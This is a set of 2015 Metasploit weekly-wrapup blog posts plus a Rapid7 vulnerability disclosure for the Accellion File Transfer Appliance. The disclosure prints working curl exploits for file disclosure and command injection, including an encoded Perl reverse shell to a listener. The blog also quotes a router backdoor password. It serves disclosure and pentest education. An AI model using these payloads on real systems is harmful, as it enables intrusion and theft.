1 2 3 Previous Next


172 Posts authored by: todb Employee

Weekly Metasploit Wrapup

Posted by todb Employee Aug 27, 2015

Time for another weekly wrapup for Metasploit! Since it's been getting some play in the news, I wanted to use this space to talk a little bit more about CERT's recent advisory regarding hardcoded credentials on small office / home office (SOHO) routers. You probably know it by it's decidedly non-poetic identifier, VU#950576.


Hardcoded credentials are one of the most well-known common vulnerabilities for SOHO routers from nearly every vendor. These are not software bugs in the traditional sense, but specific username and passwords that are trivial to exploit, very rapidly, across thousands to millions of these devices.linksys-router.png


These backdoors are usually not reachable directly from the Internet; the attacker must be on the local network in order to use them to reconfigure devices. However, this shouldn't necessarily be comforting. While attackers must be "local," most of these credentials are usable on the configuration web interface, and a common technique is to use a cross-site scripting (XSS) attack on a given website to silently force the user (on the inside network) to log in to the device and commit changes on the attacker's behalf.


Attackers on free, public WiFi are also on the local network, and can make configuration changes to a router that can affect anyone else connected to that access point.


Once an attacker has administrative control over the router, the opportunity for mischief and fraud are nearly limitless. He can do anything from setting up custom DNS configurations, which will poison the local network's name resolution, to completely replacing the firmware with his own, enabling him to snoop and redirect any and all traffic at will.


Backdoor credentials like these are certainly not new; simply Googling the Observa Telecom hidden administrator account password, 7449airocon, turns up nearly 400 hits on sites ranging from legitimate router security research blogs to sites dedicated to criminal activity. I'm glad that CERT/CC is bringing attention to this problem. Manufacturers must make every effort to at least allow end-users to change these passwords, and ideally, passwords would be generated, randomly, on first boot or firmware restore. Until manufacturers stop using default passwords on the devices users rely on for Internet connectivity, we will continue to see opportunistic attacks on home and small business routers.


So what does this all have to do with Metasploit? Well, we have a few contributors who regularly kick out exploit and auxiliary modules for SOHO land, with Michael m-1-k-3 Messner as the reigning champion of most SOHO router modules authored. That guy is pretty amazing, and thanks to his and all the rest of the SOHO router hacking crowd, we have about fifty or so Metasploit modules specifically for SOHO routers.


The bummer, of course, is that SOHO routers are rarely in scope for any normal pentest, unless your engagement is with a retail coffee shop or restaurant or something. We've known that the "border" between the external network and the internal network is a convenient fiction, and that division is eroding even more today as more and more people opt out of traffic (and pants) by telecommuting to work. Because of this trend, which shows no signs of slowing down, I hope to see pentesting scopes start to include that home network with the backdoor'ed router.


If you have decently-sourced stats on organizations who get popped by an attacker pivoting through a home router, or otherwise using SOHO router control to skip into a company's internal network, I'd love to see them. Just comment below.


New Modules


We have nine new modules this week: four exploits and five auxiliary modules. Pay extra attention to the OS X 'tpwn' bug, which was discussed at length a week or so back. It's a privilege escalation issue, and while it's local only, there are scenarios where I can imagine this thing would be very effective. US schools sometimes have shared computer labs, full of Apple desktops, shared several times a day with many people. If one of them happens to have root on OS X, it's not all that difficult to start keystroke logging and picking up everyone's Myspace account credentials. Or whatever other social media service that the kids are into these days.


For other changes since the last Wrapup, just swing by this compare view, and see who all has been hacking on Metasploit Framework lately.


Exploit modules


Auxiliary and post modules

Vegas: That's a Wrap

Well, another trek out to the Nevada desert is behind us. I actually love heading out there every year, since it gives me a chance to connect with a sizable chunk of the Metasploit contributor community in a corporeal way. That just fills me with warm fuzzies, so thanks to all of you who made the pilgrimage. You, the open source security research community, is what makes Vegas feel a lot homier than it ought to.


Speaking of community, now that we're past the Vegas Singularity (the first week of August, after which it is impossible for short attention span infosec people like me to plan anything), I can clearly see DerbyCon coming over the horizon. Last week, we got the happy news that Dave TheLightCosine Maloney, James egypt Lee, Brent Cook, and me, todb, will be holding the First Annual Metasploit Town Hall. Think of it an IRL AMA by and for the folks who have invested their hearts and heads into open source Framework. It should be pretty fun, and I expect to learn from you all where you'd like to see Metasploit go next. That's right, the tables are turned: YOU have homework to do before the conference this time. Hah!


New Modules

Since the last blog post, we've added one new exploit, and four new auxiliary modules. In case you missed it, one of them is "Lester," the Local Exploit Suggester, by sinn3r and Mo s0cket_ Sadek. This module is kinda super useful as part of a quick engagement, in that it'll give some automated advice on picking out which of the dozens of local exploits might be useful in the current context. Since being a mere user, rather than root or LOCALSYSTEM, is an increasingly common circumstance, especially in client-side attacks, it can be a real time saver if you don't already have an encyclopedic knowledge of all of Metasploit's available privilege escalation exploits. Read more about it over here.


Also, we have an exploit for a video game first released in 1999, because hackers and sysadmins alike are a nostalgic bunch. I know if you planted some evil NetHack save file on my computer, you'd probably get fresh shells on me with alarming frequency. Turns out, Ubisoft published an updated, "HD" version of HoMM3 just this year, so you're much more likely to find this binary floating around your environment, again, because of nostalgia. I can't wait to see this come up in a pen-test report.


As always, feel free to check the diffs from the last blog checkpoint, over on GitHub.


Exploit modules


Auxiliary and post modules

Black Hat T-Shirts!

bh-tshirt-small.pngWell, it's a week or so until DEF CON 23, and since you're all busy prepping all your demos and presentations and panels and things, I figured I should remind you that among all your gear, you should probably toss some clothes in your bag before you head out the door. In case this slips your mind, though, don't sweat, we have you covered.


Pictured at right is the winning design from the annual Metasploit T-Shirt contest, submitted by LewisFX, lovingly rendered as 100% cotton and ready for Vegas.


So, if your conference experience is turning out like that high school stress dream where you have to stand in front of the class and you suddenly notice that you're nude, be sure to swing by our booth and pick one up before your speaking slot -- you're on your own for pants, though.


Thanks so much to all of this years' contestants -- you all have set quite a bar for next year's design goals!


DEF CON Shirts, Too!

By the way, this isn't the only shirt we're offering. We have another design put together for the DEF CON vendor room which celebrates our commitment to, and passion for, open source security software, pictured here:


Open Source is Magic!


We'll have a spot in the DEF CON vendor room where we'll be selling these insanely boss T-shirts to raise money for our buddies over at  the Electronic Frontier Foundation.


The EFF helps keep well-meaning security researchers like yours truly on the Internet and out of prison, and that can be an expensive job. If you love freedom, swing by and pick one up. You and your kids will love them. If you are a kid, you will love them twice as much.


A whole pile of Metasploit engineers will be staffing the table, just like last year, so you're likely to run into me (Tod Beardsley), Dave TheLightCosine Maloney, Trevor Rosen, and/or egypt, depending on what time of day you pop in. If you're a Metasploit contributor, say so, unless you don't want some near stranger fawning all over you for five minutes, gushing over how you're the reason why we show up to work most every day.


Thanks especially to our own community manager, Maria Varmazis, for her doodling of these critters. The security world needs more adorable cartoons, given our usual scruffy, devil-may-care stance on things. Also thanks to Marshall Kirk McKusick for blessing Maria's interpretation of the BSD Daemon (used with permission).


New Modules

With all the Black Hat / DEF CON / BSides prep, looks like we only have two new modules this week. The first, from long-time contributor Ramon de C Valle, is an implementation of the latest "OprahSSL" bug, where anyone can impersonate a CA authority, given a valid leaf certificate. Using this module can effectively demonstrate the risk posed by an unpatched OpenSSL client in your environment, but the set up can be a little tricky, given that it's a man-in-the-middle attack. You'll want to take a look at the original PR for the testing and implementation notes from Ramon and Juan.


The second is from resident post-exploitation artiste, OJ TheColonial Reeves, which implements the time-honored "sticky keys hack" as a post module. This is a fine mechanism to ensure that your first compromise of a target device is not your last, so long as you can get to an interactive login terminal. Handy!


As usual, you can see the full diffs between last week's Metasploit Framework and today via this compare view.


See you next week!


Auxiliary and post modules

Browser Autopwn Version 2


Hey all! If you haven't been following the Metasploit development over the last few weeks, you know that we've been pretty busy getting Browser Autopwn Version 2 (BAPv2) out the door and into Metasploit Framework. This project was, and is, driven by our own beloved Wei _sinn3r Chen, and it's one of those projects around here that I'm really personally very excited about.


If you want to jump into all the implementation details and history, I suggest bopping over to his pair of blog posts, Browser Autopwn v2 part 1 and part 2. It won't hurt my feelings. This update blog will be here when you get back.


The thing about Browser Autopwn is that it makes client-side attacks work nearly exactly as you'd see in the movies, or in a real, criminal campaign. With just a few keystrokes and minimal prep time, you can use this system as an endpoint for all sorts of penetration testing engagements. Check it out:


[*] Searching BES exploits, please wait...
[*] Starting exploit modules...
[*] Starting listeners...
[*] Time spent: 7.019844157


If you're familiar with the old Browser Autopwn, the absolute first thing you'll notice is that startup time is lickety-split quick: in less than 10 seconds and basically no configuration, you've got yourself a nice smorgasbord of exploits for multi-platform Firefox, some Android browsers, Flash plugins, and vanilla Internet Explorer. Of course, mixing up the exploit list is pretty easy these days too, so if you know you don't care about mobile -- or only care about mobile -- you can make that happen trivially through the many configurable options.


Thanks loads to sinn3r, Juan, and everyone out there in open source land that made this possible.


Welcome, Void_in!


Speaking of open source land, we have a brand new community committer on Metasploit Framework. Usually, when this kind of event happens, it's involving someone who's already a fixture around the framework, and it's sometimes surprising to learn they didn't have committer rights already. Void_in is no exception. If you've spent any time at all on the Metasploit Community message boards, you know that this dude is a freaking question answering, problem solving, confidence building machine. I suspect he literally might be a machine, given the amount of time he's selflessly volunteered on the project. He has limitless compassion and respect for newbies, both in the Metasploit sense and the security-in-general sense, and has been splitting time between the boards and the GitHub pull queue.


Void_in is a super helpful fellow, I'm excited to have him on board to make Metasploit that much better an experience for both old graybeards and fresh new penetration testers.


New Modules


This time around, we have nine new exploits, and seven new auxiliary modules for your next testing engagement. As usual, you can check the diff since the last wrapup blog post for the complete skinny on what's changed.


Exploit modules


Auxiliary and post modules

This disclosure covers two issues discovered with the Accellion File Transfer Appliance, a device used for secure enterprise file transfers. Issue R7-2015-08.1 is a remote file disclosure vulnerability, and issue R7-2015-08.2 is remote command execution vulnerability. Metasploit modules have been released for both issues, as of Pull Request 5694.


According to the vendor, both issues were addressed in version FTA_9_11_210, released on May 25, 2015.


R7-2015-08.1: Accellion FTA 'statecode' Cookie Remote File Disclosure (CVE-2015-2856)


The Accellion FTA is vulnerable to a remote file disclosurevulnerability due to insufficient sanitization of the 'statecode' cookie. This cookie will be appended to a file path that is generated when PHP templates are processed. An attacker can disclose the contents of any file readable by the web server by specifying a 'statecode' cookie value consisting of "../../../../../" followed by an absolute file path and an encoded NULL byte (%00). The web server user account on the FTA has access to a number of sensitive files, including FTA configuration information, the MySQL root password, and any files uploaded the user if their filesystem path is known. Note that while uploaded use randomized file IDs, the path names are semi-predictable and the entire path can be brute forces given enough time.


This issue is present on version FTA_9_11_200 and likely all versions prior to this release as well.




The source of this vulnerability appears to be the template() function inside function.inc:


    $branding_path = "custom_template/{$g_app_id}/";
    if ( $_COOKIE['statecode'] )
        $branding_path .= $_COOKIE['statecode']."/";
    // <snip>
    if ( $fd = @fopen( $branding_path.$t_file, "r" ) )
        $t_file = $branding_path.$t_file;


This vulnerability may also exist in the template_goto() function inside wm_ui.inc, however this route has not been verified.


Proof of Concept


An attacker can exploit this vulnerability using the standard curl utility:


$ curl -b 'statecode=../../../../../etc/passwd%00' -i https://<fta>/courier/intermediate_login.html


In addition, a Metasploit module has been released, accellion_fta_statecode_file_read.rb


R7-2015-08.2: Accellion FTA 'oauth_token' Remote Command Execution (CVE-2015-2857)


The Accellion FTA is vulnerable to a remote command execution vulnerability due to insufficient sanitization of the 'oauth_token' parameter. This parameter is passed into a system() command line through multiple mod_perl handlers. Although code execution occurs as the web user (nobody), this account has nearly complete access to the appliance due to how file permissions are configured by default. For example, the MySQL database password is stored in /home/filex1/db and this datasbase contains usernames, password hashes, LDAP credentials, event logs, and information about uploaded files. The web user also has access to all files uploaded to the appliance.


This issue is present on version FTA_9_11_200 and likely all versions prior to this release as well.




This vulnerability is present in 3 places within `/home/seos/api/Md/Utils.pm`, detailed below


The `get_oauth_customer_name()` function is called by the twsPut, Find, Put, and mPut handlers and passes an `oauth_token` directly to the command line.


sub get_oauth_customer_name
  my ($aid, $token) = @_;

  # SOAP Lite cannot work with mod perl? Call external script
  my $customer_name = `/opt/bin/perl /home/seos/system/call_webservice.pl $aid oauth_ws.php get_consumer_name '$token'`;
  return $customer_name;
  # ...


The `verify_oauth_token()` function is called by the twsPut, twssetStatus, twsGet, twsgetStatus, Find, Put, and mPut handlers and passes an `oauth_token` directly to the command line.


sub verify_oauth_token
  my ($aid, $token, $scope) = @_;

  # SOAP Lite cannot work with mod perl? Call external script
  my $client_id = `/opt/bin/perl /home/seos/system/call_webservice.pl $aid oauth_ws.php verify_access_token '$token' '$scope'`;
  return $client_id || 0;


The `gc_oauth_file_access()` function is called by the ckdf::AuthHandler, but this is unlikely to be exploitable, as email addresses are sanitized elsewhere first, and the call is made post authentication.


sub gc_oauth_file_access
  my ($aid, $user_email, $gc_fid) = @_;

  my $result = `/opt/bin/perl /home/seos/system/call_webservice.pl $aid sclient_user_ws.php gc_oauth_file_access '$user_email' '$gc_fid'`;
  return $result =~ /^1$/ ? 1 : 0;


Proof of Concept


An attacker can exploit this vulnerability via the `/tws/getStatus` URL using the standard curl utility.


The first example abuses this vulnerability in order to bypass authentication:


$ curl -k -XPOST -d "transaction_id=1&oauth_token='%3becho '" https://<fta>/tws/getStatus


The second example abuses this vulnerability in order to return a command shell to


# Open a netcat listener on port 4444 from one terminal
$ nc -l 4444

# Send our exploit request from a second terminal
$ curl -k -XPOST -d "transaction_id=1&oauth_token=%27%3bperl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3bforeach%20my%20%24key%28keys%20%25ENV%29%7bif%28%24ENV%7b%24key%7d%3d~/%28.%2a%29/%29%7b%24ENV%7b%24key%7d%3d%241%3b%7d%7d%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22192.168.0.3%3a4444%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24~-%3efdopen%28%24c%2cw%29%3bwhile%28%3c%3e%29%7bif%28%24_%3d~%20/%28.%2a%29/%29%7bsystem%20%241%3b%7d%7d%3b%27%3becho%20%27" https://<fta>/tws/getStatus

# Interact with our shell
Connection from [fta] port 4444 [tcp/*] accepted (family 2, sport 48025)
uid=99(nobody) gid=99(nobody) groups=99(nobody)


In addition, a Metasploit module has been released, accellion_fta_getstatus_oauth.rb.




These issues were discovered and reported by HD Moore of Rapid7, Inc.


Disclosure Timeline


  • Mon, Apr 27, 2015: Vendor contacted
  • Fri, May 01, 2015: Initial advisory draft provided for R7-2015-08.1
  • Tue, May 05, 2015: Updated draft provided with R7-2015-08.2
  • Fri, May 08, 2015: Phone call with Accellion to discuss issues
  • Tue, May 26, 2015: Disclosure to CERT/CC, CVEs assigned
  • Fri, Jul 10, 2015: Public Disclosure and Metasploit modules released (PR 5694)

When You Wish Upon A Shell


Image from wishingshells.com, which I totally need now
Back in February we ran a survey to figure out where you, the savvy penetration tester, would like to see Meterpreter go. As a result, we now have the Meterpreter Wishlist, and have been working steadily off of that for the last few months.


As of this week, we have a pile of accomplishments taken off the wishlist and committed as working code. You can read up on all the details over on the Meterpreter sub-wiki, but in the meantime, here are the headlines at a glance:


Lifetime Session Tracking: With the introduction of Payload UUIDs, you now have the ability to track over time whence a particular Meterpreter shell came from. This can be important when your compromised target moves around different networks, and reconnects back from different source addresses. It's also handy when you're on a team of pentesters, and you want to figure out whose shell is whose.


Multiple Transports and Fallbacks: If at first you don't SYN-ACK, SYN, SYN again. Meterpreter payloads now have some advanced transport control for falling back to other transports if the preferred one doesn't work or suddenly goes offline. While this used to be irritating, requiring a re-exploit of the target (which can be dicey with client-side exploits), Meterpreter sessions can now effectively ressurect themselves with some alternative routing. Also, these transports need not change just because of an interruption. If you have a friend with an appropriately configured payload listener, you can now easily just hand off your session to your friend's IP address and port. Nothing says "I love you," quite like a fresh shell.


Certificate Pinning: Combine a static certificate, a Payload UUID, and an appropriate reverse HTTPS payload, and you've got Meterpreter: Paranoid Mode. When used routinely, this strategy can prevent someone else from kidnapping your abandoned shells, or otherwise impersonating you, the valiant and just red-teamer.


There's also about a bazillion other small to medium improvements in there, so I encourage you to check out the current state of affairs over at the new(ish) metasploit-payloads repository. We're in the middle of phasing out the old(ish) meterpreter repository, so should make cross-compiling and cross-development of Meterpreter a lot easier moving forward. If you haven't already, feel free to clone the new repo and get hacking.


New Modules


On the heels of Juan's excellent overview of our current Flash exploit library, we've got another addition to the pile of Flash exploits. This one is for CVE-2015-3113 and CVE-2015-3043, since, as it turns out, CVE-2015-3113 has the same root cause as the earlier issue. Oops. We also have two new post modules that make snarfing some local data on Windows domain members easier -- combine these with the new hash dumping techniques discussed by Dave TheLightCosine earlier this week, and you've got yourself a stew!


Exploit modules


Auxiliary and post modules


As always, for a blow-by-blow on what's new since the last blog post, just see this comparison view.

Flash as a Vulnerability Vector


hawkman.jpgWhile Adobe has made great progress in releasing both regular and emergency updates to Flash, it's becoming clear that Flash itself is becoming an albatross around the neck of every browser. This week, Adobe released APSB15-14, a fix for CVE-2015-3133. This cross-browser vulnerability was discovered and reported by FireEye, and like all the recent critical Flash vulnerabilities, it can enable an adversary to completely compromise a targeted desktop. Meanwhile, we're shipping two new Flash Metasploit modules written by our own Juan Vazquez: One for CVE-2015-3105, disclosed earlier this month, and CVE-2015-3090, disclosed in May of 2015. I expect we'll be seeing a public exploit for penetration testers for CVE-2015-3113 soon.


This all leads me to believe that the risk introduced by Flash is too big to pretend to ignore. It's enabled by default with pretty much every consumer browser, and very few normal users are aware that it's even possible to disable it. Enterprise IT organizations are also unlikely to disable Flash on a site-wide basis precisely because it's so ubiquitous, and there is a fear that doing so would "break the Internet" for their constituents. It seems to me that Flash is lagging behind every major browser when it comes to security engineering, and because of this, the good security work going into stock browsers is getting undermined by Flash's always-on, always-default de facto status. Today, Flash is a favored vector for both online criminals and Pwn2Own competitors.


Doesn't this all sound a little familiar? Two years ago, Java is was in exactly the same boat. The Internet user base was suffering through a seemingly endless series of critical Java bugs, IT shops felt like it was impossible to disable, and Oracle was not making significant headway against the onslaught of both legitimate and criminal security R&D forces targeting Java.


While Java is still a lingering problem, browsers today have Java locked under a "click-to-play" procedure by default, where user interaction is required for any Java applet to run, and many, if not most, IT organization recommend or require disabling Java on the desktop completely.


Can we do the same with Adobe Flash? According to cybercrime investigator Brian Krebs, it appears absolutely possible. After taking a vow of Flash celibacy for a month, Krebs found that Flash is not nearly as ubiquitous for multimedia content as it used to be, thanks to competing technologies like HTML5's suite of multimedia functions. Major video content sites like YouTube and Netflix generally do not require Flash at all. It is quite possible to default-disable Flash for most sites, enabling it for just one or two trusted sites where there is no alternative, and enable a similar click-to-play requirement for running that Flash content.


Of course, this is all an arms race, and I have no doubt that in two years, we'll all be wringing our hands about the next seemingly ubiquitous Internet technology. But, we have an opportunity today to learn from our own recent history, and I hope we, as a security community, take it.


New Modules


This week brings us five new modules. First, we've two Flash exploits discussed above, a local privilege escalations exploit which was also used in a Flash-based targeted campaign (so says FireEye in their blog from April). Over in auxiliary and post land, there's a new pair of Windows info leak auxiliary modules. One is for remotely dumping memory via the HTTP.SYS vulnerability MS15-034, which is kind of a big deal. The other is a new domain-level hashdump post module that's super handy for quickly snarfing all domain credentials on a compromised domain controller.


As usual, you can peek in on the changes this past week with this compare view on GitHub.


Exploit modules


Auxiliary and post modules


Weekly Metasploit Wrapup: Recog

Posted by todb Employee Jun 18, 2015

Recog Scanning with Metasploit


This week, our own Jon Hart started in on souping up a couple auxiliary modules with Recog, Rapid7's free, open source platform recognition framework. Metasploit has lots of these version scanners -- 27, to be precise -- in the auxiliary module tree, and nearly all of them would be better off with some more normalized fingerprinting. The SMB scanner already uses it, and has been for a little while now, so it's high time the other scanners got with the program.


Of course, this particular kind of omelet refactoring is going to require some broken eggs, which you can see on the currently in-progress pull request for the Recog mixin. While the pattern-matching signatures themselves are pretty rock-solid, the Recog framework itself is only about a year old with a dozen or so forks. It's safe to say that there will be lots of opportunity for tire-kicking and duct-taping during this rework effort in both Recog proper and how auxiliary modules ought to interact with it.


So, that's where you come in! We here at Rapid7 like Recog a lot. We wrote it (well, mostly Jon and HD), and we and use it in a few projects and products, but it's really easy to code oneself in a corner when we're the only ones using it. Without public pickup, even open source projects can find themselves in a place where usage can get weird and documentation ends up being a non-public oral tradition.


Since Recog so young, now is the time for you, dear open source contributor, to take a look and see where we're going with it. You're invited to read over the recent pull requests to see how you might want to start converting your favored Metasploit scanner to use Recog fingerprints, ask around on Freenode IRC or Twitter if you run into anything you don't understand, and document what tripped you up so the next volunteer doesn't get all frustrated. We're trying to keep our open source truly open and free, after all, so that's going to mean disclosing a few sausage-making details in the process.


Finally, while using any currently or future Recog-enabled modules, if you encounter services Recog is unable to identify, we'd greatly appreciate hearing about it, especially in the form of a PR to add support for the service in question. See Recog's contributing documentation.


Thanks, Jon, for leading the charge on this!


New Modules


This week brings a new exploit and a new auxiliary module, both for WordPress plugins, both from Roberto Soares Espreto, serial WordPress exploiter. We've been pretty heads-down on the Rails 4 integration work for Metasploit Pro and Metasploit Community Edition, so kind of a slow week this week in Exploit Land. We also held the UNITED Security Summit this week, so when you get a chance, check out Maria's write-up on that.


As always, you're invited to check the compare view from the last blog post to get up to speed and investigate what strikes your fancy.


Exploit module


Auxiliary module

Multi-Transport Meterpreter


Over the last couple weeks, OJ TheColonial Reeves has been fleshing out some new documentation on how Meterpreter's multiple transport system has been coming along. You can read up on it all at the GitHub wiki, but here's the tl,dr:



  1. Meterpreter sessions now have the ability to cycle between several transport protocols. This means that if a session is started on a basic TCP connection, you now have the option to "move" the session over to an HTTPS transport, assuming you have an appropriate listener set up (with, say, the multi/handler module). This is all easily done on the Meterpreter command line.
  2. If configured with multiple transports, sessions can and will fail over to alternate transports automatically. This is part of the overall goal of sessions resiliancy.
  3. You needn't name the same endpoint for your transports. This means you can hand over a session that you established on a target to a friend.


Yes, it's all kind of super rad, and huge thanks to OJ, Brent, HD, and Tim for making this all happen.


Of course, like all software, it's not quite "done," but that's on purpose. Since we believe in incremental, open development, right now, this very Friday afternoon, is a great time for you to jump in with this feature set and give feedback on how it's going. Love something? Say so on the Metasploit Freenode IRC channel or tweet us at @metasploit. Found a bug? File a GitHub issue, or even better, a Pull Request to either the Meterpreter repo or the Framework repo with a fix. It's all very fluid right now, but since working on Meterpreter has gotten to be quite pleasant, there's nothing stopping you from throwing in, too. It's an exciting time to be working on payload and post-exploit enhancements on long-term persistence. Just ask the shadowy puppet-masters behind Duqu 2.0.


New Modules


As indicated last week on my tweet, you really should check out m-1-k-3 and Ricky HeadlessZeke Lawshae's module for SOAP-based command execution on SOHO routers shipping with a vulnerable Realtek chipset. All told, we have eight new modules since the last blog post. For the entire diffs on Metasploit Framework, check out the compare, here.


Incidentally, if you haven't heard, msfencode and msfpayload will no longer be shipping with Metasploit. Instead, they've been replaced by msfvenom, which has the same functionality as both, and more. Consider this last call.


Exploit modules


Auxiliary and post modules

Originally posted May 28, 2015


SSDP Attacks are Suddenly Huge

Like most of you, I love nothing more than kicking up my feet, donning my smoking jacket, and whiling away my work hours by reading security industry reports, such as Akamai's State of the Internet [Security]. They're dozens of pages long, and tend to reinforce my own personal biases, so it's a great way to pretend to work.


That said, the most surprising takeaway I got from the Akamai report is the huge criminal buy-in of SSDP, the Simple Service Discovery Protocol, as a spoofable, reflective protocol. At Rapid7, we've been paying attention to SSDP for a couple years now, and researchers Jon Hart and HD Moore have been warning people for a while now that that particular sky is falling.


It looks like 2015 is shaping up to be the year that the SSDP sky actually fell: according to Akami, 20% of all reflective DDoS attacks in Q1 of this year used SSDP as the attack vector, where SSDP did not show up significantly at all in Q1 of 2014. I'm no statistician, but that looks to be about a gazillion percent growth, year over year.


Given its effectiveness on bringing down targets and that there are literally millions of unsecured devices in the form of home routers that are susceptible to being unwitting participants in this attack, the Internet needs to come up with some dramatic protective measures to deal with this newly-popular threat.


Along Came A Moose

A couple weeks later, the Linux/Moose report was released by Olivier Bilodeau and Thomas Dupuy of ESET Canada Research, which details a worm that's currently romping around this huge sub-infrastructure of home routers which have predictable, default, or otherwise easily guessed external administration credentials. No exploits at all are used in Linux/Moose, but it seems pretty successful at infecting and replicating across many avenues with a goal of finding new homes in these embedded systems. It's a really fascinating read, and underlines this whole Internet of Junk that we're (we being the human species) building around us.


Incidentally, the name given by ESET, "Moose," has absolutely nothing to do with Rapid7's internal mascot. Just a coincidence.


So, what does this have to do with Metasploit?

If you've been reading this blog for more than a few weeks, you'll know that I, too, tend to pay special attention to modules that come in which abuse SOHO routers, and when I see new pull requests come in from long-time contributor Michael m-1-k-3 Messner, I know I'm about to get a face full of hot home router mess. This week is one of those weeks, and we now have a new module, the Netgear Unauthenticated SOAP Password Extractor, which does pretty much exactly what it says on the tin, based on the work by Peter darkarnium Adkins and Robert MŸller. Thanks, Michael, for the work on that!


Peter's initial reports didn't seem to get a whole lot of pickup when he reported them back in February, and the BID and OSVDB references are pretty sparse. But, never fear, you can read all the gory details over on his GitHub repo, and see that this is Kind Of A Big Deal(tm). The short story is, if a device has remote management enabled, there are trivial authentication bypasses thanks to some insecure SOAP services, and this is present on several versions of Netgear routers. Of course, these routers also live in your local coffee shop, so attackers can also perform this attack in the default configuration of LAN-side only. Oops.


Hopefully, this module publication will raise the visibility of this and other kinds of SOHO router bugs that appear to becoming epidemic in my favorite place, the Internet.


New Modules

This week, we have the aforementioned Netgear module, along with a new Flash exploit and a rather terrifying Lenovo privilege escalation. You can always check the full compare against last week for more on what's been going on in Metasploit.

Exploit modules

Auxiliary and post modules

Originally posted May 22, 2015

Greetings, fellow citizens of the Internet. It's time for your favorite blog post and mine, the Metasploit Weekly Wrapup.

So Many Repos

If you've been following along with Metasploit Framework development, you may have noticed that we have more than a couple repositories for committing code. I wanted to take a moment today to outline which of the 84 public repos under the Rapid7 GitHub account you, the intrepid open source, are most likely to care about:

Meterpreter: This is the flagship command shell interpreter, and is usually the payload you want for any given exploit delivered by Metasploit. There's a ton of activity in there on making life even better for you offensive security types.

Meterpreter-deps: Chunks of code that Meterpreter depends on to be built. This doesn't ship with Meterpreter directly, but is used to build it.

Metasploit-payloads: This is where the build artifacts for the Windows and POSIX meterpreters live now, and where the rest of the Meterpreter payloads are headed. It intends to replace the old meterpreter_bins repository, and if we ever get into the business of compiled payloads that aren't Meterpreter, they'll likely show up here. All one happy persistent shell family.

Metasploit-credential: Metasploit-credential is responsible for most of the back-end logic around how authentication works. It's been shipping for nearly a year, and many -- but not all -- of the most popular bruteforce modules rely on it to track usernames, passwords, realms, tokens, and how they all interrelate.

Metasploit_data_models: This gem handles all the database and ActiveRecord components of Metasploit, and provides the means to treat Metasploit as a Rails Engine -- see the link for more on what Rails Engines provide for other Rails-based applications. If you're a Rails-ish developer and want to integrate Metasploit-flavored things in your web application, you'll want to start here to get a sense of how it all works.

Metasploit-model: This is the pixie dust that lets metasploit_data_models and metasploit-framework actually function together in the ways you'd expect.

Metasploit-concern: This allows for using ActiveSupport::Concerns in Metasploit-based applications. They're all the rage in Rails land, and tend to make the syntax of some functions a lot easier to read and understand. You're invited to read this writeup from DHH on why Concerns are good for your Rails applications, and then deconvince yourself about their usefulness with Corey Haines' blog post on why he doesn't use ActiveSupport::Concern.

Recog: Recog is a stand-alone project that abstracts out all the logic needed to make fingerprinting calls on services and hosts. It's used by both Metasploit and Nexpose, and if you're in the remote identification business and like working in Ruby, you'll definitely want to check it out.

While far from inclusive of the several dozen repos, this should be enough to get you started if you happen to be looking for projects related to Metasploit that you want to make your mark on.

Now, with all these gems, we're still working out a decent, contributor-friendly way to manage the various feature requests and bug reports involving these repositories. On the one hand, most people today only notice bugs or come up with enhancement ideas when using Metasploit Framework or Metasploit Pro proper, and simply report against those projects. This is how we handle things today, and it seems okay. After all, if you're running into an issue with metasploit-credential, you're almost certainly using normal, everyday Metasploit.

On the other hand, these are for real, stand-alone repositories that do not technically require Metasploit Framework to function, and could come up for use in someone else's Rails-based application. As such, they may be deserving of their own issue trackers, which they have today, even though they are rarely used. Actually embracing this, though, means slightly more accounting overhead when we want to find out how much "work" has gone into "Metasploit," and how much there is left to do. It also tends to require more sophisitication on the part of the user to figure out where a bug "really" is, and many, many Metasploit users are not professional Ruby developers.

So, if you happen to know of a good, open-source, multi-repository methodology to track changes and measure things like developer velocity and technical debt that doesn't require a master's degree in Jive Mechanics, please tweet it at @metasploit. Getting a handle on the true labor investment the open source community is contributing to Metasploit is a subject near and dear to my heart, mainly because I know we wouldn't be anywhere without you all. The Metasploit community is kind of a huge open source success story, after all. We have over 3,800 forks today, which puts us in the top one hundred GitHub projects running, and I'm always interested in how to keep telling that story so that not only we get better at producing quality software, but so that other open source projects can replicate our success.

The Metasploit T-Shirt Contest

In non-code news, the Metasploit T-Shirt Design Contest has one more week to go. You can sign up over at 99Designs, and as of this moment, we have 106 designs submitted. There are already some pretty rockin' designs in there, so competition is stiff. If you're of a graphic design bent, and want to completely blow the cover of thousands of onsite penetration testers, then maybe take this upcoming holiday weekend to scribble something amazing.

Recent Changes

You're welcome to inspect the entire diff from the last Wrapup blog post by popping over to this compare view. The high points for the last couple weeks have all been around the incremental fixes to Meterpreter -- the work from OJ and Brent accounts for about 28% of the total commits since May 6. If you haven't messed around with Meterpreter lately, now is a fine time to jump in -- see the repos mentioned above to get started. The projects compile cleanly, the codebase is mostly sane, and we're rocketing forward with making Meterpreter even more stable, useful, and pleasant to both work on and with.

In module land, we have ten new modules, three of which target F5 Networks gear. Thanks to Denis Kolegov for seeing those auxiliary modules through!

Exploit modules

Auxiliary and post modules

Originally posted May 7, 2015

Hi folks. It's been a little while. I know, I know. Things have been a little wonky around here lately, as you no doubt have noticed. So, while this is nominally the Weekly Metasploit Wrapup, it's been a little more than a month since the Community Cutover on April 1st. That said, our blog platform now seems stable enough to resume writing these missives, so let's cover the highlights of what's been going on in the People's Republic of Metasploit since the last post.

If you just want to see the diffs, just check out the GitHub compare. Only about a thousand changes to go through for the last several weeks, so have a blast with that.

WordPress Exploitation Extravaganza

Metasploit now boasts over a dozen new WordPress-related exploits an auxiliary modules, most of which were contributed by Roberto espreto Soares, with hat tips to community committer Christian FireFart Mehlmauer for landing assistance. This avalanche of exploits illustrates rather obviously the problems historically associated with wordpress plugins, arguably to the point that this particular dead horse has truly been beaten into a soupy, dessicated mass.


